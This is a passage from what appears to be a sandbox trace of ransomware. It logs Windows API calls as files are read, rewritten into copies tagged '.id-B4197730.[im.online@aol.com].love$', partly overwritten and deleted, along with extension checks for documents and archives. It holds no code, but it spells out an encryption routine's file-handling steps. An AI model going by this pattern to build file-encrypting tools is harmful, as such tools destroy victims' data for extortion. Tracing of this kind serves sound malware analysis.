hTemplateFile=0x0) returned 0x354 [0100.973] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=14168) returned 1 [0100.973] CloseHandle (hObject=0x354) returned 1 [0100.973] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0100.973] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0100.973] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.973] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0101.002] GetLastError () returned 0x0 [0101.002] ReadFile (in: hFile=0x354, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x3758, lpOverlapped=0x0) returned 1 [0101.016] WriteFile (in: hFile=0x318, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x3760, lpOverlapped=0x0) returned 1 [0101.018] ReadFile (in: hFile=0x354, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.018] WriteFile (in: hFile=0x318, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0xf8, lpOverlapped=0x0) returned 1 [0101.018] SetEndOfFile (hFile=0x318) returned 1 [0101.018] CloseHandle (hObject=0x318) returned 1 [0101.020] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.020] SetEndOfFile (hFile=0x354) returned 1 [0101.021] CloseHandle (hObject=0x354) returned 1 [0101.021] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0101.582] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0101.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0101.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0101.582] lstrlenW (lpString=".doc") returned 4 [0101.582] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0101.582] lstrlenW (lpString=".docx") returned 5 [0101.582] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0101.582] lstrlenW (lpString=".pdf") returned 4 [0101.582] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0101.582] lstrlenW (lpString=".xls") returned 4 [0101.582] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0101.582] lstrlenW (lpString=".xlsx") returned 5 [0101.582] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0101.582] lstrlenW (lpString=".ppt") returned 4 [0101.582] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0101.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0101.582] lstrlenW (lpString=".zip") returned 4 [0101.582] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0101.582] lstrlenW (lpString=".rar") returned 4 [0101.582] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0101.583] lstrlenW (lpString=".bz2") returned 4 [0101.583] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0101.583] lstrlenW (lpString=".7z") returned 3 [0101.583] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0101.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0101.583] lstrlenW (lpString=".dbf") returned 4 [0101.583] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0101.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0101.583] lstrlenW (lpString=".1cd") returned 4 [0101.583] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0101.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0101.583] lstrlenW (lpString=".jpg") returned 4 [0101.583] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0101.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0101.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0101.583] lstrlenW (lpString=".doc") returned 4 [0101.583] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0101.583] lstrlenW (lpString=".docx") returned 5 [0101.583] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0101.583] lstrlenW (lpString=".pdf") returned 4 [0101.583] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0101.583] lstrlenW (lpString=".xls") returned 4 [0101.583] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0101.583] lstrlenW (lpString=".xlsx") returned 5 [0101.583] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0101.583] lstrlenW (lpString=".ppt") returned 4 [0101.583] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0101.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0101.583] lstrlenW (lpString=".zip") returned 4 [0101.583] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0101.583] lstrlenW (lpString=".rar") returned 4 [0101.583] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0101.583] lstrlenW (lpString=".bz2") returned 4 [0101.583] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0101.583] lstrlenW (lpString=".7z") returned 3 [0101.583] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0101.584] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0101.584] lstrlenW (lpString=".dbf") returned 4 [0101.584] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0101.584] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0101.584] lstrlenW (lpString=".1cd") returned 4 [0101.584] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0101.584] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0101.584] lstrlenW (lpString=".jpg") returned 4 [0101.584] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0101.584] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0101.584] lstrlenW (lpString="Rotate5.ico") returned 11 [0101.584] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.900] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=894) returned 1 [0102.900] CloseHandle (hObject=0x344) returned 1 [0102.900] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0102.901] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.922] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0102.922] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.922] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.922] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0103.534] GetLastError () returned 0x0 [0103.534] ReadFile (in: hFile=0x358, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x37e, lpOverlapped=0x0) returned 1 [0103.572] WriteFile (in: hFile=0x2b8, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x380, lpOverlapped=0x0) returned 1 [0103.574] ReadFile (in: hFile=0x358, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.574] WriteFile (in: hFile=0x2b8, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0xea, lpOverlapped=0x0) returned 1 [0103.574] SetEndOfFile (hFile=0x2b8) returned 1 [0103.574] CloseHandle (hObject=0x2b8) returned 1 [0103.576] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.576] SetEndOfFile (hFile=0x358) returned 1 [0103.577] CloseHandle (hObject=0x358) returned 1 [0103.577] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.578] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0103.578] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.578] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.578] lstrlenW (lpString=".doc") returned 4 [0103.578] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.578] lstrlenW (lpString=".docx") returned 5 [0103.578] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0103.578] lstrlenW (lpString=".pdf") returned 4 [0103.578] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.578] lstrlenW (lpString=".xls") returned 4 [0103.579] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.579] lstrlenW (lpString=".xlsx") returned 5 [0103.579] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0103.579] lstrlenW (lpString=".ppt") returned 4 [0103.579] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.579] lstrlenW (lpString=".zip") returned 4 [0103.579] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.579] lstrlenW (lpString=".rar") returned 4 [0103.579] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.579] lstrlenW (lpString=".bz2") returned 4 [0103.579] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.579] lstrlenW (lpString=".7z") returned 3 [0103.579] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.579] lstrlenW (lpString=".dbf") returned 4 [0103.579] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.579] lstrlenW (lpString=".1cd") returned 4 [0103.579] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.579] lstrlenW (lpString=".jpg") returned 4 [0103.580] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.580] lstrlenW (lpString=".doc") returned 4 [0103.580] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.580] lstrlenW (lpString=".docx") returned 5 [0103.580] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0103.580] lstrlenW (lpString=".pdf") returned 4 [0103.580] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.580] lstrlenW (lpString=".xls") returned 4 [0103.580] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.580] lstrlenW (lpString=".xlsx") returned 5 [0103.580] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0103.580] lstrlenW (lpString=".ppt") returned 4 [0103.580] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.580] lstrlenW (lpString=".zip") returned 4 [0103.580] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.580] lstrlenW (lpString=".rar") returned 4 [0103.580] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.580] lstrlenW (lpString=".bz2") returned 4 [0103.580] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.580] lstrlenW (lpString=".7z") returned 3 [0103.581] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.581] lstrlenW (lpString=".dbf") returned 4 [0103.581] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.581] lstrlenW (lpString=".1cd") returned 4 [0103.581] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0103.581] lstrlenW (lpString=".jpg") returned 4 [0103.581] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.581] lstrcmpiW (lpString1=".mzz", lpString2=".love$") returned 1 [0103.581] lstrlenW (lpString="netfx_Core.mzz") returned 14 [0103.581] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0103.582] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=181483595) returned 1 [0103.583] CloseHandle (hObject=0x358) returned 1 [0103.583] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0103.583] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.583] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[im.online@aol.com].love$")) returned 1 [0103.584] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0103.584] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fc64 | out: lpNewFilePointer=0x0) returned 1 [0103.584] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fc24 | out: lpNewFilePointer=0x0) returned 1 [0103.584] ReadFile (in: hFile=0x358, lpBuffer=0x34c6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x295fc30, lpOverlapped=0x0 | out: lpBuffer=0x34c6058*, lpNumberOfBytesRead=0x295fc30*=0x40000, lpOverlapped=0x0) returned 1 [0103.596] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x295fc24 | out: lpNewFilePointer=0x0) returned 1 [0103.596] ReadFile (in: hFile=0x358, lpBuffer=0x3506058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x295fc30, lpOverlapped=0x0 | out: lpBuffer=0x3506058*, lpNumberOfBytesRead=0x295fc30*=0x40000, lpOverlapped=0x0) returned 1 [0103.602] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x295fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.602] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x295fc24 | out: lpNewFilePointer=0x0) returned 1 [0103.602] ReadFile (in: hFile=0x358, lpBuffer=0x3546058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x295fc30, lpOverlapped=0x0 | out: lpBuffer=0x3546058*, lpNumberOfBytesRead=0x295fc30*=0x40000, lpOverlapped=0x0) returned 1 [0104.126] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.126] WriteFile (in: hFile=0x358, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x295fca8, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fca8*=0xc0108, lpOverlapped=0x0) returned 1 [0104.405] SetEndOfFile (hFile=0x358) returned 1 [0104.405] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ed3e98 [0104.411] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fc74 | out: lpNewFilePointer=0x0) returned 1 [0104.411] WriteFile (in: hFile=0x358, lpBuffer=0x3ed3e98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x295fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ed3e98*, lpNumberOfBytesWritten=0x295fc80*=0x40000, lpOverlapped=0x0) returned 1 [0104.513] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x295fc74 | out: lpNewFilePointer=0x0) returned 1 [0104.513] WriteFile (in: hFile=0x358, lpBuffer=0x3ed3e98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x295fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ed3e98*, lpNumberOfBytesWritten=0x295fc80*=0x40000, lpOverlapped=0x0) returned 1 [0104.514] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x295fc74 | out: lpNewFilePointer=0x0) returned 1 [0104.514] WriteFile (in: hFile=0x358, lpBuffer=0x3ed3e98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x295fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ed3e98*, lpNumberOfBytesWritten=0x295fc80*=0x40000, lpOverlapped=0x0) returned 1 [0104.515] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0104.518] CloseHandle (hObject=0x358) returned 1 [0108.113] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0108.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0108.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0108.113] lstrlenW (lpString=".doc") returned 4 [0108.113] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0108.113] lstrlenW (lpString=".docx") returned 5 [0108.113] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0108.113] lstrlenW (lpString=".pdf") returned 4 [0108.114] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0108.114] lstrlenW (lpString=".xls") returned 4 [0108.114] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0108.114] lstrlenW (lpString=".xlsx") returned 5 [0108.114] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0108.114] lstrlenW (lpString=".ppt") returned 4 [0108.114] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0108.114] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0108.114] lstrlenW (lpString=".zip") returned 4 [0108.114] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0108.114] lstrlenW (lpString=".rar") returned 4 [0108.114] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0108.114] lstrlenW (lpString=".bz2") returned 4 [0108.114] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0108.114] lstrlenW (lpString=".7z") returned 3 [0108.114] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0108.114] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0108.114] lstrlenW (lpString=".dbf") returned 4 [0108.114] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0108.114] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0108.114] lstrlenW (lpString=".1cd") returned 4 [0108.114] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0108.114] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0108.114] lstrlenW (lpString=".jpg") returned 4 [0108.114] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0108.114] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0108.114] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0108.115] lstrlenW (lpString=".doc") returned 4 [0108.115] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0108.115] lstrlenW (lpString=".docx") returned 5 [0108.115] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0108.115] lstrlenW (lpString=".pdf") returned 4 [0108.115] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0108.115] lstrlenW (lpString=".xls") returned 4 [0108.115] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0108.115] lstrlenW (lpString=".xlsx") returned 5 [0108.115] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0108.115] lstrlenW (lpString=".ppt") returned 4 [0108.115] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0108.115] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0108.115] lstrlenW (lpString=".zip") returned 4 [0108.115] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0108.115] lstrlenW (lpString=".rar") returned 4 [0108.115] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0108.115] lstrlenW (lpString=".bz2") returned 4 [0108.115] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0108.115] lstrlenW (lpString=".7z") returned 3 [0108.115] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0108.115] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0108.115] lstrlenW (lpString=".dbf") returned 4 [0108.115] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0108.115] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0108.115] lstrlenW (lpString=".1cd") returned 4 [0108.115] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0108.115] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0108.115] lstrlenW (lpString=".jpg") returned 4 [0108.116] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0108.116] lstrcmpiW (lpString1=".msu", lpString2=".love$") returned 1 [0108.116] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33 [0108.116] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0108.116] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=5091790) returned 1 [0108.116] CloseHandle (hObject=0x358) returned 1 [0108.116] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0108.116] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0108.117] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[im.online@aol.com].love$" (normalized: 